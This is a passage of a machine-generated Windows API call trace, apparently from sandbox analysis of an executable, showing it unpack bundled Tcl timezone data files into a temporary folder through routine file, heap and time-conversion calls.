SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.678] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.678] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.678] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.678] CloseHandle (hObject=0x10c) returned 1 [0039.678] GetLastError () returned 0x0 [0039.678] SetLastError (dwErrCode=0x0) [0039.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Toronto") returned 72 [0039.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Toronto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\toronto"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.678] GetLastError () returned 0x2 [0039.678] SetLastError (dwErrCode=0x2) [0039.678] GetLastError () returned 0x2 [0039.678] SetLastError (dwErrCode=0x2) [0039.678] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Toronto", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Toronto", lpFilePart=0x0) returned 0x47 [0039.678] GetLastError () returned 0x2 [0039.678] SetLastError (dwErrCode=0x2) [0039.678] GetLastError () returned 0x2 [0039.678] SetLastError (dwErrCode=0x2) [0039.678] GetLastError () returned 0x2 [0039.678] SetLastError (dwErrCode=0x2) [0039.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Toronto") returned 72 [0039.678] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.678] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Toronto" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\toronto"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.679] GetFileType (hFile=0x10c) returned 0x1 [0039.679] htonl (hostlong=0x832a0000) returned 0x2a83 [0039.679] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.680] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.680] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xa83, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xa83, lpOverlapped=0x0) returned 1 [0039.680] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.680] CloseHandle (hObject=0x10c) returned 1 [0039.681] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.681] htonl (hostlong=0x30000000) returned 0x30 [0039.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.681] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.682] GetFileType (hFile=0x10c) returned 0x1 [0039.682] htonl (hostlong=0xa26e5a00) returned 0x5a6ea2 [0039.682] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f1ea2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.682] htonl (hostlong=0x8a000000) returned 0x8a [0039.682] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8a) returned 0x55cfe0 [0039.682] htonl (hostlong=0x8a000000) returned 0x8a [0039.682] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.683] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.683] htonl (hostlong=0x95000000) returned 0x95 [0039.683] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x95) returned 0x550600 [0039.683] htonl (hostlong=0x8a000000) returned 0x8a [0039.683] htonl (hostlong=0x95000000) returned 0x95 [0039.683] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.683] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.683] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0039.683] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.683] CloseHandle (hObject=0x10c) returned 1 [0039.683] GetLastError () returned 0x0 [0039.683] SetLastError (dwErrCode=0x0) [0039.683] GetLastError () returned 0x0 [0039.683] SetLastError (dwErrCode=0x0) [0039.683] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.683] GetFileType (hFile=0x10c) returned 0x1 [0039.683] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.683] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.683] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.683] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.684] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.684] CloseHandle (hObject=0x10c) returned 1 [0039.684] GetLastError () returned 0x0 [0039.684] SetLastError (dwErrCode=0x0) [0039.684] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.684] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.684] GetFileType (hFile=0x10c) returned 0x1 [0039.684] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.684] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.684] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.684] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.684] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.684] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.684] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.684] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.684] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.684] CloseHandle (hObject=0x10c) returned 1 [0039.685] GetLastError () returned 0x0 [0039.685] SetLastError (dwErrCode=0x0) [0039.685] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.685] GetFileType (hFile=0x10c) returned 0x1 [0039.685] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.685] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.685] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.685] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.685] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.685] CloseHandle (hObject=0x10c) returned 1 [0039.685] GetLastError () returned 0x0 [0039.685] SetLastError (dwErrCode=0x0) [0039.685] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tortola") returned 72 [0039.685] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tortola" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\tortola"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.685] GetLastError () returned 0x2 [0039.686] SetLastError (dwErrCode=0x2) [0039.686] GetLastError () returned 0x2 [0039.686] SetLastError (dwErrCode=0x2) [0039.686] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tortola", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tortola", lpFilePart=0x0) returned 0x47 [0039.686] GetLastError () returned 0x2 [0039.686] SetLastError (dwErrCode=0x2) [0039.686] GetLastError () returned 0x2 [0039.686] SetLastError (dwErrCode=0x2) [0039.686] GetLastError () returned 0x2 [0039.686] SetLastError (dwErrCode=0x2) [0039.686] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tortola") returned 72 [0039.686] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.686] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Tortola" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\tortola"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.686] GetFileType (hFile=0x10c) returned 0x1 [0039.686] htonl (hostlong=0x95000000) returned 0x95 [0039.686] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.686] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x95, lpOverlapped=0x0) returned 1 [0039.687] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.687] CloseHandle (hObject=0x10c) returned 1 [0039.688] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.688] htonl (hostlong=0x30000000) returned 0x30 [0039.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.688] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.688] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.688] GetFileType (hFile=0x10c) returned 0x1 [0039.688] htonl (hostlong=0x2c6f5a00) returned 0x5a6f2c [0039.688] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f1f2c, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.688] htonl (hostlong=0xf070000) returned 0x70f [0039.688] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x70f) returned 0x55e278 [0039.688] htonl (hostlong=0xf070000) returned 0x70f [0039.688] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.688] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.688] htonl (hostlong=0x17250000) returned 0x2517 [0039.688] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2517) returned 0x561090 [0039.689] htonl (hostlong=0xf070000) returned 0x70f [0039.689] htonl (hostlong=0x17250000) returned 0x2517 [0039.689] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5635b0 [0039.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5635b0 | out: hHeap=0x530000) returned 1 [0039.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.689] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.689] CloseHandle (hObject=0x10c) returned 1 [0039.689] GetLastError () returned 0x0 [0039.689] SetLastError (dwErrCode=0x0) [0039.689] GetLastError () returned 0x0 [0039.689] SetLastError (dwErrCode=0x0) [0039.689] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.689] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.689] GetFileType (hFile=0x10c) returned 0x1 [0039.689] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.689] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.689] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.689] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.689] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.689] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.690] CloseHandle (hObject=0x10c) returned 1 [0039.690] GetLastError () returned 0x0 [0039.690] SetLastError (dwErrCode=0x0) [0039.690] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.690] GetFileType (hFile=0x10c) returned 0x1 [0039.690] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.690] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.690] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.690] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.690] CloseHandle (hObject=0x10c) returned 1 [0039.690] GetLastError () returned 0x0 [0039.690] SetLastError (dwErrCode=0x0) [0039.690] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.690] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.690] GetFileType (hFile=0x10c) returned 0x1 [0039.690] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.691] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.691] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.691] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.691] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.691] CloseHandle (hObject=0x10c) returned 1 [0039.691] GetLastError () returned 0x0 [0039.691] SetLastError (dwErrCode=0x0) [0039.691] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 